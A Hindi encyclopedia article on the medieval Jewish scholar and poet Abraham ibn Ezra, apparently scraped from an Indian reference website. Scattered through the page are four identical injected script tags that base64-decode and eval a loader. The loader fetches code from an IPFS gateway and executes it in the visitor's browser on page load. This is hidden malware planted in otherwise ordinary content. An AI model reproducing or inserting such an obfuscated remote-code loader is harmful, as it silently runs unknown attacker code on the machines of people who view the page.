अबेनेज्रा

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
अबेनेज्रा
पुस्तक नाम हिन्दी विश्वकोश खण्ड 1
पृष्ठ संख्या 172
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक श्री विश्वंभरनाथ पांडेय

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अबेनेज्रा अबेनेज्रा का वास्तविक नाम इब्न एजरा और पूरा नाम अब्राहम बिनमेअर इब्न एजरा था। उसका जन्म सन्‌ 1093 ईसवी में हुआ और मृत्यु सन्‌ 1167 में हुई। वह तोलेदो (स्पेन) में पैदा हुआ था। अपने समय का वह प्रसिद्ध यहूदी कवि और विद्वान्‌ माना जाता है। अपनी जन्मभूमि में यथेष्ट कीर्ति उपार्जित कर सन्‌ 1140 में वह भ्रमण के लिए निकला। सबसे पहले वह उत्तरी अफ्रीका के देशों में गया। कुछ वर्षों तक वहाँ ठहरने के पश्चात्‌ वह इटली, फ्रांस और इंग्लैड भी गया। लगभग 25 वर्ष तक विदेशों में रहकर उसने अपनी विद्वता की कीर्तिध्वजाए फहराई। वह उच्च कोटि का विचारक ओर जनप्रिय कवि था। आधुनिक इब्रानी व्याकरण के जनक हय्यूज की पुस्तकों का उसने अरबी से इब्रानी भाषा में अनुवाद किया और स्वयं उनपर टीकाएँ लिखीं। अबेनेज्रा की रचनाओं में दर्शन, गाणित, ज्योतिष आदि विषयों के ग्रंथ हैं। किंतु उसकी प्रसिद्धि का मुख्य कारण यहूदी धर्मग्रंथों पर लिखी उसकी टीकाएँ हैं। पुराने अहदनामें के प्रमुख यहूदी पैगंबरी की पुस्तकों पर अबेनेज्रा के भाष्य बड़े चाव से पढ़े जाते हैं।[१]


टीका टिप्पणी और संदर्भ

  1. सं.गं._ जे. जैकस:जूइश कांट्रीब्यूशन टु सिविलिज़ेशन।